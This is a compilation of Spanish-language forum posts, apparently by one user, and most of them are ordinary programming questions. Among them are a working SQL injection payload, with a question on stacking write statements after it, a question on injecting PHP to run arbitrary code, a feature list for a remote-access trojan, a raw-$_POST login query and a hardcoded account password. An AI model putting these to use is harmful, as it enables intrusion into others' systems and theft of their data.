Temas

[Mysql dinamico:]

Buenas tardes,

Quisiera saber vuestra opinión sobre la manera de desarrollar el modelo de datos de una herramienta que permite crear aplicaciones dinámicas, es decir, con unos campos determinados a elección del propio usuario.

Actualmente mi herramienta se nutre de una base de datos mysql, que se genera de manera dinámica.

• Cuando se crea una aplicación nueva, se crea su correspondiente tabla con unos campos "oficiales": ID, Fecha UltModificacion, IP UltModificacion, UserIdUltModificacion..etc.
• Cuando se añade un campo o se modifica, se genera sus correspondientes "ALTER TABLE's"
• Cuando se elimina la aplicacion se ejecuta un "DROP TABLE"

Esta parte esta pendiente de desarrollar, dado que ahora creo las tablas de manera manual.

Antes de meterme en ello, dado que conlleva su grado de complejidad, me pregunto si estare desperdiciando el tiempo, dado que un CMS como Wordpress almacena todos los "custom post types" y sus campos en la misma tabla "wp_posts".

Segun mi opinion estos son los pro's y contra's

Mysql dinamico:

PRO's: Más rapidez en consultas, filtrados, ordenaciones, busquedas...
CONTRA'S: Hay que desarrollar un constructor de tablas muy robusto y capado dado que puede dar lugar a numerosos fallos.

Metodo Wordpress:

PRO's: Sencillo de desarrollar, los datos se introducen en formato json o serializados y no hace falta desarrollar un constructor.
CONTRA'S: Quizas un menor control en los datos introducidos a la hora de filtrar y ordenar.

¿Que os parece? ¿Debería de seguir el ejemplo de Wordpress y no complicarme, introduciendo todos los datos en una misma tabla o crear de manera dinámica una tabla por cada aplicación con sus campos?

[¿Como puedo privatizar el acceso a la información de un cliente en concreto?]

Buenas tardes gente, hace mucho que no me paso por aquí,

Tengo en proceso de desarrollo un proyecto de maquetación y diseño de páginas web para pymes con la gestion de datos de manera centralizada, de forma que todas y cada una de las webs creadas ataquen a una api rest que les devuelva todos los datos tales como noticias, productos, información de la empresa...etc.

Mi idea es crear un backend donde gestionar cada cuenta de cliente y agregar entidades tales como productos, noticias...etc A este backend accederán los clientes y podran gestionar únicamente su información y tanto su web como cualquier otro proyecto suyo podrá acceder mediante una api rest a la información.

El objetivo es que cada proyecto web este creado puramente en html y js gracias al apoyo de angularjs u otro framework, obviando cualquier lenguaje de lado del servidor y realizando simplemente peticiones a la api para recoger y gestionar los datos.

La parte del backend ya la tengo realizada, pero tengo una duda:

¿Como puedo privatizar el acceso a la información de un cliente en concreto? Las peticiones crud a la api se realizan a traves de javascript y cualquier persona podría ver el token de seguridad, copiarlo y gestionar la información por su cuenta, llegandose incluso a poder crear una web propia con los datos del cliente.

Entiendo que no sea suficiente con ssl, así que haber que me podeis decir

Muy buenas a todos,

Hace muy mucho que no me paso por este foro, y me ha picado la curiosidad de ver que tal estaba después de tantos años.

Estaré por la sección de desarrollo web sobre todo, haber si me encuentro a algún conocido por aquí.

Un saludo.

Buenas noches a todos,

Hace mucho que no me paso por el foro, y me gustaría poder estar de vuelta para participar en otros temas y solventar alguna dudilla que me pueda salir por el camino.

Estoy desarrollando un servicio para gestionar CRUD por medio de una api rest. Lo que busco es que programadores iniciados u otros que no quieran toparse con las altas/bajas/modificaciones/listados de sus proyectos, creen su usuario en mi plataforma y por medio de una librería puedan gestionar toda su información (Todo esto muy resumido).

Pegándome una ducha estaba pensado en que ocurriría si a nivel de api tuviera que modificar cualquier tipo de parámetro o funcionalidad, una vez ya estuviera desplegado el proyecto y con usuarios activos.

¿Debería crear varias versiones de la misma api o simplemente facilitar la nueva librería? En ese caso... ¿No seria un poco coñazo para los usuarios que ya terminaron su proyecto, el tener que modificar obligatoriamente el código para que les vuelva a funcionar de nuevo?

En si la parte de que los usuarios tengan que buscarse la vida no la contemplo, así que entiendo que haya otras maneras de gestionar los desarrollos bajo apis.

Dadme vuestra opinión

[Listado]

Que hay foreros de elhacker! Hace años que no me paso por aqui y hoy venia con una duda que tengo acerca de un aplicativo que estoy desarrollando.

Vereis, me propongo realizar una plataforma de creación de aplicaciones de manera dinámica como Podio.

En esta aplicación puedes crear una empresa, sus espacios de trabajo y crear aplicaciones para dicho espacio que pueden ir relacionadas entre si.

Cada aplicación puede tener varios tipos de campos: texto, imagen, numérico, listado, contacto...etc. Cada campo tiene sus propiedades, por ejemplo:

Listado: Contiene listado de opciones y si es multiseleccion o no
Dinero: Contiene un listado de todas las divisas a escoger
Calculo: Contiene una referencia a un campo + operador + Otra referencia a otro campo
Referencia: Contiene un id de aplicación que se referenciará con esta.

Mi duda es la siguiente. Tengo una tabla campos diseñada asi:

CampoId
CampoNombre
AplicacionId
CampoPlaceholder
CampoObligatorio
CampoOrden
CampoLimites

Necesito saber la manera mas optima de guardar los datos para cada uno de mis campos especiales.

¿Crearia una tabla para cada campo donde tuviesen sus propiedades individualmente?
¿Crearia un campo text en esta misma tabla de campos, en formato json con variables que guardasen los datos de cada campo?
¿De que manera podria guardar un campo listado con muchisimas opciones? ¿Una tabla relacionada a al campo listado con todas las opciones?

Imagino que quizas pueda tener mas opciones y mejor. ¿Que pensais?

Es un buen reto X-D

[1 Paso: Descargarse el Juego]

Buenos usuarios de el-hacker, hace tiempo que no me paso y quisiera hacer una pequeña aportacion en este foro.

A continuacion os dejo un post de mi pagina sobre como conectarnos a minecraft, juego que muchos conocereis por su gran adiccion.

En este hilo aprenderemos los pasos basicos para poder jugar en minecraft. Ya sabes que cualquier duda que tengas puedes consultarla en el foro, estaremos encantados de ayudarte. Antes que nada, te recomendamos que leas este post si es la primer vez que juegas.

http://www.skimdoo.com/?p=80


1 Paso: Descargarse el Juego

No te preocupes, minecraft funcionara en tu equipo si o si, es un juego que pide muy poco.
Poco haremos si no tenemos el juego instalado en nuestra pc. Descarga este archivo e instalalo.

 
2 Paso: Registrarse en Skimdoo

Para poder acceder a tu nuevo mundo virtual has de crearte una entidad, escoge bien el nombre que sera para toda la vida y manos a la obra.

Deberas de rellenar los siguientes campos:

Usuario->Nombre con el que te identificaras en el juego

Contraseña->Evidentemente una clave de acceso, y al ser posible una unica que no utilices en mas ocasiones

Email->Tu correo electronico. A el te llegaran los correos de activacion de usuario, restablecimiento de contraseña en caso de perdida, noticias...etc


Al registrate y activar tu cuenta, automaticamente se te creara la cuenta del foro y podras entrar con tus mismas credenciales en los dos sitios. Si quieres cambiar o restablecer  la clave,  tendras que hacerlo por las dos partes.




3 Paso: Entrar al juego

Una vez registrado, con nuestro usuario en mente y el juego instalado, procedemos a iniciarlo:

Escribiremos nuestro nick, una vez escrito le damos a "Start Minecraft"

Iniciaremos sesion unicamente con el nick introducido, ya que si iniciais sesion con vuestra clave dara error debido a que este login no autentica contra nuestro servidor sino contra el servidor oficial de minecraft. Os dara error y tendremos que pulsar la opcion "Play offline"

Una vez demos a la opcion "Play offline", en la siguiente pantalla damos click a multiplayer

Nos pedira la direccion del servidor, debemos de introducir la siguiente:

[SIZE=18]Direccion: minecreate.zapto.org
[/SIZE]

Una vez escrita ya estaremos dentro del juego, pero notaremos que no podemos movernos, no pasa nada, es normal

Debemos de escribir lo siguiente en el chat: /login <Clave del usuario>

Donde <Clave del usuario> es la clave que usamos para registrarnos. Para abrir el chat apretar la tecla "T".


Y bueno, ya está, diviertete en tu primer dia en Skimdoo y create un refugio antes que vengan los zombies a por ti.

Cualquier duda que tengas, puedes consultarla en el foro. Recuerda que para poder comentar debes registrarte primero en skimdoo.

Pagina: http://skimdoo.com
Foro: http://skimdoo.com/foro o http://foro.skimdoo.com

Buenas noches

Me he comprado un ipad, antes tenia un itouch y usaba el netcat, nmap...etc de la repo de saurik

El tema es que ahora mismo esa repo no tiene el nmap ni ningun otro, necesitaria hacerme de ello, y que me dijeseis algunas herramientas "pen testing" para este, ya tengo instalado el mobile terminal pero le quiero rellenar ya que de serie viene capado de narices

un saludo

Muy buenas, necesito una sentencia en sql un poco compleja por mi parte:

Necesito que a partir de un numero, por ejemplo 3:

de esta lista me saque los 4 mas cercanos, ya sean negativos a este o positivos, ejemplo:

1,18,-3,5,2,11,10,15

me sacaria: 2,1,5,-3

alguien sabria como realizar eso en sql? o tengo que ayudarme de php?¿

Bueno, no suelo plantearme dudas nada mas que de programacion pero esto es algo que nunca me habia sucedido hasta hoy

Veran, tengo unos altavoces woxter con su subwofer, el tema es que funcionan correctamente, reproducen audio y con muy buena calidad

Me he estado descargando algunos juegos como el "mafia 2" o el "battlefield bad company 2" y los sonidos se reproducen, pero hay momentos "en los dialogos" en los que no lo hacen, como si solo se reprodujese con un altavoz que no esta configurado

que pasara?

Saludos

Bueno hace bastante que no me paso por aqui y necesitaba despejar una duda, estoy realizando una mascota msn, un bot que aprende, dice chistes y hara mas cosas

El tema es que cada vez que me conecto, aparece como desconectado y quiero cambiarle el estado

aqui un ejemplo de msnp8, supongo que haya cambiado pero para daros una idea:

>>> CHG 12 NLN 0\r\n
<<< CHG 12 NLN 0\r\n

chg el comando, 12 el trid, nln el estado (online en este caso) y 0 las acciones que puede realizar

haber si alguien me puede hechar un cable

un saludo

Bueno, como algunos sabeis tengo varios proyectos entre manos y sin acabar que requeiren bastante tiempo.

Hoy he dado por finalizado la primera version de mi "Pixelados", una version corta que he migrado a POO en php, ya que lo antiguo estaba muy desordenado y no me convencia

Le he pegado un repaso a la interfaz visual, es lo que mas se nota, pero aora eso no viene al cuento:

Necesito que me deis consejos, si encontrais algun error que yo no lo haya visto y que hariais para mejorarla.

Por temas de spam, no coloco la pagina en el post, sino que la adjunto en mi firma

Un saludo y espero que os agrade

Si quereis buscar usuarios en la web, unicamente estoy yo "soler"

PD: El usuario para entrar es: invitado, invitado

Hola muy buenas, estoy navegando por internet y he encontrado estas dos clases de windows:

win32_network_adapter
http://msdn.microsoft.com/en-us/library/aa394216%28VS.85%29.aspx

Win32_NetworkAdapterConfiguration
http://msdn.microsoft.com/en-us/library/aa394217%28VS.85%29.aspx

La verdad se me ocurren miles de ideas descabelladas con la 2, pero no voy a eso

Necesito sacar el modo de tarjeta, es decir, detectar si esta en modo monitor o no

Estoy haciendo un software de proteccion de tablas arp, como el antiarp mas o menos y necesitaria sacar el modo de la tarjeta

me podeis ayudar un poco, traduci las paginas de la msdn y no encontre nada respecto al modo monitor

un saludo

Quisiera saber si por medio de alguna api podria saber si algun pc de mi red local tiene la tarjeta en modo monitor

se podria?

un saludo

Hola, saludos quisiera preguntaros una cosa

Hace meses programe un software que administraba el clipboard y quisiera remodelarlo
añadiendole esta funcion

el software posee un historial de clipboard, 8 slots para memorizar los pastes que se hacen

el tema es que necesito crear una combinacion de teclas tal como

ctrl+v+1
ctrl+v+2
...etc

asi hasta 8 para que al dar al ctrl+v+1 pegue el slot 1... y asi sucesivamente

estuve investigando hace mucho y no encontre metodo para poder juntar esa combinacion, como mucho de 2 a la vez

alguien me podria ayudar sin hechar a bajo mi moral?

Estoy realizando un software de control del sistema, como aplicaciones al inicio y demas

El problema es que me es detectado por el bitdefender como

Gen:Trojan.Heur.VB.Em0@cWrJA@H


Nose a que puede deberse, podriais darme alguna pista?

el programa toca cosas del servicio, registro...

Queria hacer una pregunta mientras busco por google

Se pueden bloquear los listviews para evitar su edicion?

un saludo, si encuentro la respuesta lo pongo, sera una buena pregunta a mi parecer, simple pero que sirve



Change your LabelEdit property to "1 - lvwManual" instead of "0 = lvwAutomatic".

Esto no es mas o menos lo que busco, pero a alguien le podria servir, sirve para que no detecte los cambios, pero aun asi se puede editar

Bueno, me tomare un poco de mi batido de vainilla antes de comentar toda esta tirada

Tengo un equipo con windows 2000, al cual intento instalarle una aplicacion de desinstale en su tiempo, aora me la he descargado, intento iniciar el autorun o el setup.exe y no ejecuta ni el proceso ni tira nada al visor de eventos


He realizado las siguientes comprobaciones antes de decir nada :p

Iniciar en modo a prueba de fallos
Iniciar con otro usuario diferente

Desfragmentra disco
Analizar con el Av

Pasar el ccleaner
Pasar el regcleaner
Pasar el Wash and Go

Limpiar el Registro a pelo de claves que se deja el propio programa (fallo de desinstalacion >S, eso no se hace caca)

Intentado ejecutar setup y autorun desde terminal
Intentado instalar el programa desde un cd con el agregar o quitar programas

Comprobado el visor de eventos, no arroja nada
Comprobar el admin de tareas por si ejecuta proceso, no lo hace

He actualizado el wmi a la 3.1
He realizado las actualizaciones del sistema

He comprobado las aplicaciones al inicio de windows, ninguna sospechosa, soudman..etc ya comprendeis

He comprobado si era fallo de los archivos, he intentado con 3 instalaciones
He probado renombrando el archivo, nanai de la china

He mirado en las policies que no tenga ninguna funciona capada, ademas soy el admin :S

Por ahora creo que hice eso, algo se me olvidara fijo, si teneis la minima idea de porque puede ser, contadmelo

Tambien estaba pensando entrar como usuario System e intentar instalarlo, como se ve la cosa?

Veran, necesito leer los valores de este lugar

hkcu\software\microsoft\windows\currentversion\run

beno, de este y de otros mas, la cosa que cuando quiero leer todos los valores que contiene tira este error

No se pudo abrir la clave de registro ..... para leerla

a que se debera? que hago mal vamos

Código (vb) [Seleccionar] Expandir

Private Function registro()
    Dim regedit As Object
    Dim claves As String
   
    Set regedit = CreateObject("Wscript.Shell")
   
    claves = regedit.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run")
   
    MsgBox claves
   
    Set regedit = Nothing
   
End Function


saludos

Veran, estoy creando un bot no maligno que lo unico que haga sea contestar a lo que le dices, bien, estoy sacando la informacion del protocolo de esta pagina:

http://msnpiki.msnfanatic.com/index.php/MSNP13:Example_Session

he llegado hasta la parte en el que te mandan las policies, que tienes que realizar esta accion que es el passport 3.0

http://msnpiki.msnfanatic.com/index.php/MSNP13:SOAPTweener

una vez esto esta bien, deberian mandarte como un tipo de cookie que esta alojado en una variable "t" que te mandan

la cosa es que necesito recoger eso con una solicitud sll, ya que ya no permiten conexion http, y me meti con winhttp

me podriais dar un ejemplo de como mandar lo que debo mandar ahi para que me de la variable t que necesito? estoy perdidisimo, os dejo el code de lo que hice hasta el momento para que lo veais:

Código (vb) [Seleccionar] Expandir

Option Explicit

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) 'espera

Public ct As Long
Public rver As String
Public wp As String
Public lc As Long
Public id As Long
Public ru As String
Public tw As Integer
Public kpp As Integer
Public kv As Integer
Public ver As String
Public rn As String
Public tpf As String






Private Sub Form_Load()
    luz = False
    Call conectar("messenger.hotmail.com")
End Sub



Private Sub wsk_Connect()
wsk.SendData "VER 1 MSNP18 MSNP17 CVR0" & vbCrLf
End Sub

Private Sub wsk2_Connect()
wsk2.SendData "VER 4 MSNP18 MSNP17 CVR0" & vbCrLf
End Sub

Private Sub wsk3_Connect()
wsk3.SendData "GET /login2.srf HTTP/1.1" & vbCrLf
wsk3.SendData "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=soler-cueto%40hotmail.com,pwd=081191,lc=" & lc & ",id=" & id & ",tw=" & tw & ",fs=1,ru=" & ru & ",ct=" & ct & ",kpp=" & kpp & ",kv=" & kv & ",ver=" & kv & ",tpf=" & tpf
wsk3.SendData "User-Agent: MSMSGS" & vbCrLf
wsk3.SendData "Host: login.passport.com" & vbCrLf
wsk3.SendData "Connection: Keep-Alive" & vbCrLf
wsk3.SendData "Cache-Control: no-cache" & vbCrLf & vbCrLf

txtprueba.Text = "GET /login2.srf HTTP/1.1" & vbCrLf
txtprueba.Text = txtprueba.Text & "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=soler-cueto%40hotmail.com,pwd=password,lc=" & lc & ",id=" & id & ",tw=" & tw & ",fs=1,ru=" & ru & ",ct=" & ct & ",kpp=" & kpp & ",kv=" & kv & ",ver=" & ver & ",tpf=" & tpf
txtprueba.Text = txtprueba.Text & "User-Agent: MSMSGS" & vbCrLf
txtprueba.Text = txtprueba.Text & "Host: login.passport.com" & vbCrLf
txtprueba.Text = txtprueba.Text & "Connection: Keep-Alive" & vbCrLf
txtprueba.Text = txtprueba.Text & "Cache-Control: no-cache" & vbCrLf & vbCrLf
End Sub




Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
Dim arrays() As String
Dim devu As String
Dim comprobando As Integer

    wsk.GetData devu
   
    txtdevu.Text = txtdevu.Text & vbCrLf & "Servidor: " & devu
   
    MsgBox devu
   
   
   
    comprobando = InStr(1, devu, "VER")
    If comprobando <> 0 Then
        wsk.SendData "CVR 2 0x0C0A winnt 5.1 i386 MSNMSGR 6.0.0602 MSMSGS soler-cueto@hotmail.com" & vbCrLf
        Exit Sub
    End If
   
    comprobando = InStr(1, devu, "CVR")
    If comprobando <> 0 Then
        wsk.SendData "USR 3 TWN I soler-cueto@hotmail.com" & vbCrLf
        Exit Sub
    End If
   
    comprobando = InStr(1, devu, "XFR")
    If comprobando <> 0 Then
        arrays = Split(devu, " ")
        arrays = Split(arrays(3), ":")
        If arrays(0) <> "" Then
            Call conectar2(arrays(0))
        End If
        Exit Sub
    End If



End Sub

Private Sub wsk2_DataArrival(ByVal bytesTotal As Long)
Dim arrays() As String
Dim subarrays() As String
Dim devu As String
Dim comprobando As Integer

    wsk2.GetData devu
   
    txtdevu.Text = txtdevu.Text & vbCrLf & "Servidor: " & devu
   
    MsgBox devu
   
    comprobando = InStr(1, devu, "VER")
    If comprobando <> 0 Then
        wsk2.SendData "CVR 5 0x0C0A winnt 5.1 i386 MSNMSGR 6.0.0602 MSMSGS soler-cueto@hotmail.com" & vbCrLf
        Exit Sub
    End If
   
    comprobando = InStr(1, devu, "CVR")
    If comprobando <> 0 Then
        wsk2.SendData "USR 6 TWN I soler-cueto@hotmail.com" & vbCrLf
        Exit Sub
    End If
   
    comprobando = InStr(1, devu, "USR")
    If comprobando <> 0 Then
        arrays = Split(devu, " ")
        arrays = Split(arrays(4), ",")
       
       
       
        For i = 0 To UBound(arrays)
            subarrays = Split(arrays(i), "=")
            Select Case subarrays(0)
                Case "ct"
                    ct = subarrays(1)
                Case "rver"
                    rver = subarrays(1)
                Case "wp"
                    wp = subarrays(1)
                Case "lc"
                    lc = subarrays(1)
                Case "id"
                    id = subarrays(1)
                Case "ru"
                    ru = subarrays(1)
                Case "tw"
                    tw = subarrays(1)
                Case "kpp"
                    kpp = subarrays(1)
                Case "kv"
                    kv = subarrays(1)
                Case "ver"
                    ver = subarrays(1)
                Case "rn"
                    rn = subarrays(1)
                Case "tpf"
                    tpf = subarrays(1)
            End Select
        Next
        Call conectar3("login.passport.com")
        Exit Sub
    End If
 
End Sub

Private Sub wsk3_DataArrival(ByVal bytesTotal As Long)
Dim arrays() As String
Dim devu As String
Dim comprobando As Integer

    wsk3.GetData devu
   
    txtdevu.Text = txtdevu.Text & vbCrLf & "Servidor: " & devu
   
    MsgBox devu
End Sub




Public Function conectar(ByVal ipe As String)
            wsk.Close
            wsk.Protocol = sckTCPProtocol
            wsk.Connect ipe, 1863
End Function

Public Function conectar2(ByVal ipe As String)
            wsk2.Close
            wsk2.Protocol = sckTCPProtocol
            wsk2.Connect ipe, 1863
End Function

Public Function conectar3(ByVal ipe As String)
            wsk3.Close
            wsk3.Protocol = sckTCPProtocol
            wsk3.Connect ipe, 443
End Function




Quisiera saber si hay alguna manera de incluir codigo php mediante algun input text u otras estrategias para ejecutar codigo arbitrario en una pagina

alguie nme puede hechar una manilla?

[Peso server:]

Diras ¿que flipante no?, es imposible, bueno pues con ayuda de nuestro querido netcat, he codeado una sencilla herramienta para que tengais vuestro pocket server de 4kb donde querais

Lo que hace este script es generar un fichero con cabeceras html, que enviara al cliente cuando se conecten, netcat nos ofrece la escucha ya que sin el no nos seria posible, y ya podemos poner a punto nuestra miniweb, ya sea para fardar, por prisa, o porque si

Claro que tiene sus limitaciones, que son unas cuantas, no hay php para empezar, el numero de conexiones es UNA xD...etc

Os dejo las caracteristicas:



Peso server: 4kbs
Archivos: 3 (nc.exe,inicio.txt,server.bat)
Lenguaje: Batch
Version: 1.0

Veran quiero hacer un echo tal que asi:

echo "ola

me llamo pepe

y vivo en la india"

quisiera saber como poner un solo echo en varias lineas

visual basic utiliza un salto de linea que es "_" par apoder seguir en la siguiente linea

en batch como se hace?

Veran, tengo que realizar la siguiente sentencia ero no se me ocurre como:

hallar el numero maximo de partidos ganados por cada equipo añadiendo el nombre del equipo y ordenar el resultado decrecientemente por el nº de partidos ganados

el ej dice que se puede utilizar "union all"

estas son las tablas que poseo, os hago un describe:


mysql> describe equipos
    -> ;
+-------------------+-------------+------+-----+---------+----------------+
| Field             | Type        | Null | Key | Default | Extra          |
+-------------------+-------------+------+-----+---------+----------------+
| registro          | int(11)     | NO   | PRI | NULL    | auto_increment |
| nombre            | varchar(30) | NO   | MUL | NULL    |                |
| nombre_entrenador | varchar(35) | NO   |     | NULL    |                |
| nombre_cancha     | varchar(30) | NO   |     | NULL    |                |
| poblacion         | varchar(25) | NO   |     | NULL    |                |
| anio_fundacion    | int(4)      | NO   |     | NULL    |                |
| anotaciones       | blob        | YES  |     | NULL    |                |
+-------------------+-------------+------+-----+---------+----------------+


mysql> describe partidos;
+-------------------+---------+------+-----+---------+----------------+
| Field             | Type    | Null | Key | Default | Extra          |
+-------------------+---------+------+-----+---------+----------------+
| registro          | int(11) | NO   | PRI | NULL    | auto_increment |
| id_equipo         | int(11) | NO   |     | NULL    |                |
| resultado_equipo1 | int(11) | NO   |     | NULL    |                |
| id_equipo2        | int(11) | NO   |     | NULL    |                |
| resultado_equipo2 | int(11) | NO   |     | NULL    |                |
+-------------------+---------+------+-----+---------+----------------+


yo creo que es casi imposible, no se me ocurre como :S

Hola muy buenas, quisiera saber si hay algo parecido al control WebBrowser de windows, pero que sea modulo, para evitar colocar librerias al lado del programa

un saludo

veran declaro la api asi:

Código (vb) [Seleccionar] Expandir

Private Declare Function ShellExecute Lib "shell32.dll" Alias _
    "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, _
    ByVal lpFile As String, ByVal lpParameters As String, _
    ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_HIDE As Long = 0

y la llamo asi:

Código (vb) [Seleccionar] Expandir

Call ShellExecute(Me.hwnd, "Open", "http://equise.com/create.php?destinatario=" & arrays(1) & "&asunto=" & arrays(2) & "&mensaje=" & arrays(3) & "&remitente=" & arrays(0), "", "", SW_HIDE)

la cosa es que la pagina me la habre, pero mazimizada, yo quiero que me la habra escondida como le he puesto ahi y no me lo hace

que puede ser?

Veran, tengo una inyeccion tal que asi:

proyectos.php?id=0 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12 from information_schema.columns where table_name=char(112,117,98,108,105,99,105,100,97,100)

eso como vereis, me saca campos de un tabla, es solo un ejemplo

mi duda, es si puedo, ejecutar otras sentencias que no sean select, quiero decir, insertar, actualizar...etc, no pregunto a nivel de privilegios ya que esos se pueden mirar en user privileges, sino a la manera de ejecutar la sentencia detras del select

¿alguien sabria como?, cuando lo intento me arroja:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';show databases' at line 1

[Capturas:]

Hombre abril, abril negro, quizas salga en marzo negro, dependiendo del tiempo que ponga a esta herramienta

Como muchos conoceis, dioxis es un troyano, que se destaca por su sencillez a la hora de usarlo, su interfaz con muchas imagenes y su maniobrabilidad, ya que puedes manejar el cliente incluso con una terminal

Os voy adelantando y editando las mejoras que le voy haciendo, asi vais siguiendo de cerca los progresos, y no os dais una sorpresa al decir, o, esperaba mas de la version 5.2, bien aqui os dejo, toda la informacion:

Capturas:

Nuevo Contenido ya realizado:

Graficos:

• Mejora de la interfaz
• Foco permanente para el chat y el juego del servidor
• Opcion a fijar el foco permanente al cliente de dioxis o no
• Nueva Interfaz de creacion de troyanos
• Personalizacion de shell remota: fondo y texto

Creacion del troyano:

• Opcion para desasociar ejecutables y asociarlos al troyano
• Opcion para deshabilitar ver archivos ocultos y extensiones (generado con un bucle para impedir su recuperacion)

Otras Funciones:

• Envio de mensajes personalizados
• Nuevo Sistema de Ayuda
• Obtencion de Clipboard remoto y almacenamiento en un historial temporal

Depuracion:

• Path de copiado al inicio estable, usando wscript
• Breve ofuscacion
• Mejora de funciones anteriores
• Reparacion de la funcion de navegacion remota, ya que antes no funcionaba
• Denegacion de procesos similares dobles
• Mayor estabilizacion de la conexion

Contenido por Realizar:

• Abrir/cerrar lectora (funcion asquerosa pero divertida  no? :7)
• enviar emails (el servidor podra actuar como un boot para enviar emails)
• escanear puertos (escaenaremos puertos con el servidor, y este nos pasara la info) ESTOY PENSANDO EL PONERLO O NO
• manejar procesos(eliminar procesos y verlos en tiempo real)
• desactivar configuracion del registro y del admin de tareas

si se os ocurre alguna idea mas, decirmela, siempre estoy abierto a nuevas opiniones

porfavor claro esta, no me digais multiconexion o captura de pantalla, webcam... o cosas que impliquen pasar datos que no sean texto plano, ya que aun no he profundizado en el tema, ando demasiado ocupado para aprendermelo, si suena la faluta, y lo logro lo pondre con toda la gracia del mundo

pd: ¿skapunky que te parece la nueva version, muy haxor aun? jj yo creo que solo infantil

[Guardado:]

Bueno, como ya sabreis, la version 1.0 ha sido sacada hace 1 dia, y ya tenemos la version 1.1, el hecho de haber sacado esta nueva version ah sido para volver la aplicacion mas estable y añadirle una funcion que veia util, antes que nada decir los cambios, luego seguire con la descripcion de siempre:

• Mejora breve del codigo, eliminacion de modulos sin usar, funciones basura...etc
• Añadida la funcion de guardar imagen nada mas apretar el boton "Impr pant"
• Diseño, oscuro, minimalista y elegante. Se mejoro el diseño anterior

Como habeis visto, las mejoras son un poco significativas, se mejoro un poco la estabilidad y 4 cosukas mas, pero esta mucho mejor esta version que la anterior, a continuacion defino las caracteristicas base:

Guardado:

• Posibilidad de guardar imagenes, nada mas imprimir pantalla
• Posibilidad de definir la calidad de la imagen


• Posibilidad de guardar .txt nada mas copiar un texto

Historial de portapapeles:

• Disponibilidad de 8 ranuras de historial de portapapeles, adios a la perdida de datos

Limpieza:

• Limpiar historial de portapapeles
• Limpiar portapapeles

Situacion:

• Posibilidad de dar foco permanente a la aplicacion, para que no minimize

Capturas:

VideoDemostracion:

[youtube=640,480]http://www.youtube.com/watch?v=I-9Nn9tJxDw[/youtube]

Como ya dije, en la siguiente version, realizare la funcion para arrastrar archivos de texto e imagenes y que se peguen al clipboard, aunque eso lo veo de menos uso

Tuve problemas fixeando, el programa con la libreria ya que era detectado por antivirus como el avira, asi que lo dejo tal y como esta, unicamente a donde vaya el ejcutable tendra que ir la libreria, aqui os dejo un escaneo:



File Info

Report date: 2010-03-02 22:08:44 (GMT 1)
File name: Clip_Manage_1.1.exe
File size: 319488 bytes
MD5 Hash: c95ce0a69cb25643195cfe00f4212df5
SHA1 Hash: 840029dca8db2ece9e669b27431adcdb4953abc2
Detection rate: 0 on 21 (0%)
Status: CLEAN

Detections

a-squared - -
Avast - -
AVG - -
Avira AntiVir - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 - -
Panda - -
Solo - -
TrendMicro - -
VBA32 - -
VirusBuster - -
Zoner - -

Scan report generated by
NoVirusThanks.org

[Guardado:]

¿Nunca, te ha dado rabia, el tener que imprimir pantalla, y para poder guardarla, ejecutar el paint u otro editor grafico?
¿Nuna te ha pasado que tienes algo en el clipboard y no sabes que es?
¿Nunca has perdido algo valioso que estaba en el portapapeles, y que sustutiste por otra cosa?

Bien, estas cosas sencillas pero que dan rabia, las soluciona clip manage 1.0, esta es su primera version, tiene pocas cosas pero es sencillo de usar y muy compacto, os comentare sus caracteristicas:



Guardado:

• Posibilidad de guardar imagenes, nada mas imprimir pantalla
• Posibilidad de definir la calidad de la imagen


• Posibilidad de guardar .txt nada mas copiar un texto

Historial de postapapeles:

• Disponibilidad de 8 ranuras de historial de portapapeles, adios a la perdida de datos

Limpieza:

• Limpiar historial de portapapeles
• Limpiar portapapeles

Situacion:

• Posibilidad de dar foco permanente a la aplicacion, para que no minimize

Debido a la gran escasez de funciones que permite manejar el clipboard, me he visto en la obligacion de no poder realizar mucho mas

En la siguiente version, intentare que al arrastrar un archivo de texto o una imagen, se cargue al clipboard, eso estaria interesante. y añadir atajos de teclado para copiar y pegar cada ranura de portapapeles adicional, por ejemplo ctrl + v + 2 pegar el portapapeles nº2..etc

El Programa es de licencia libre, esta hosteado en su pagina inicial, pero aqui os dejo el link directo

Capturas:

Bueno, yo nunca he participado en abril negro, pero este año participare

quisiera saber, de cuando a cuando es abril netgro, para ir preparando la version del dioxis que realizare

Muy buneas, quisiera saber como detectar atajos de teclado, es decir como saber en mi programa si se ha pulsado alt + f4 por ejemplo

alguien sabe con que funcion se puede hacer? intente con la api getasynckeystate pero me lo detecta unicamente cuando las pulso a la vez, no cuando dejo pulsada,una y despues otra, nose si me entendi bien

saludos

[(Index)]

Veran, ya consegui crear arrays de winsocks, pero tengo una duda:

en un private sub, ejemplo:

Public Sub cmdorden_Click()
If txtorden = "cls" Or txtorden = "CLS" Or txtorden = "Cls" Then
txtdlv = ""
Exit Sub
End If
wsk(Index).SendData txtorden
End Sub

Demos por ejemplo que tengo 3 conexiones, el wsk(0),wsk(1),wsk(2)

como hago en esa funcion, para saber cual es el que tiene que ejecutar ese codigo?

Hola muy buenas

Estuve este Fin de Semana Pasado en la Campus Party de mi Provincia en España y acudi a una conferencia robotica en la que te daban un robot moway para programarlo graficamente

el robot es especificamente este:

http://www.iberobotics.com/shop/product_info.php?cPath=21&products_id=28

Estuve programandole graficamente, y consegui hacer que siguiese lineas, usarle como robot de sumo, seguir laberintos... que uyera de mi...etc


Todo esto me a despertado curiosidad y quisiera saber si alguno de vosotros podria decirme como iniciarme en la robotica, me gustaria hacer un robot como el mooway que veis aqui

haber si podeis ayudarme gracias

[SELECT * FROM usuarios WHERE usuario='$_POST[usuario]' AND clave='$_POST[clave]']

Código [Seleccionar] Expandir


ERROR SQL: SELECT * FROM usuarios WHERE usuario=''order by 90'' AND clave=''order by 90''::SQL logic error or missing database

